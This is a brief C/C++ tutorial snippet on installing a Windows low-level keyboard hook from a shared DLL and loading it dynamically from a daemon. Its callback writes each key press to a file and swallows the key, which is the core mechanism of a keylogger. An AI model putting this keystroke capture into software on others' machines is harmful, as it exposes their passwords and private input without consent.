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                      Hooking low-level Keyboard
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//////////////////////////////////////////////////////////////////////
// The library def file would look something like the following block
//
LIBRARY   LwHookLibEx

EXPORTS
	HookKeyboardA		@1
	UnhookKeyboardA		@2
SECTIONS
	.mydata		READ WRITE SHARED
//
///////////////////////////////////////////////////////////////////////



///////////////////////////////////////////////////////////////////////
// At source level - declaration
#pragma data_seg (".mydata")
HHOOK g_hHookKbdLL = NULL; // hook handle
#pragma data_seg ()
#pragma comment(linker, "/SECTION:.mydata,RWS") // tell linker: make it shared
//
///////////////////////////////////////////////////////////////////////



///////////////////////////////////////////////////////////////////////
// Hooking & Unhooking method

g_hHookKbdLL = SetWindowsHookEx (WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, hInstance, 0);
UnhookWindowsHookEx(g_hHookKbdLL);
//
////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////
// Keyboard Proc

LRESULT WINAPI KeyboardProc(
	int nCode,
    WPARAM wParam,
    LPARAM lParam )
{
	KBDLLHOOKSTRUCT *pKbHookData = NULL;

	if ((HC_ACTION==nCode)) {
		if (wParam == WM_KEYDOWN) {
			pKbHookData = (KBDLLHOOKSTRUCT* )lParam;
			
			if (pKbHookData)
				fwrite(&pKbHookData->vkCode,1,1,pFile);		
			
			return TRUE; // Stop processing any further !!
		}
	}
	
	// Pass control to the hook chain
	return ( CallNextHookEx( g_hHookKbdLL, nCode, wParam, lParam ) );
}
//
////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////
// On App side (Daemon), following can be done (dynamic loading)
//
// First, load hook library
hInstDLL = LoadLibrary("LwHookLibEx.dll");

// Get procedure addresses
pfHookKeyboardFunc = (HookKeyboardFunc)GetProcAddress(hInstDLL, "HookKeyboardA");
pfUnhookKeyboardFunc = (UnhookKeyboardFunc)GetProcAddress(hInstDLL, "UnhookKeyboardA");

// Anytime after this, hook function may be called. Don't forget to call the unhook as well
//
//////////////////////////////////////////////////////////////////////////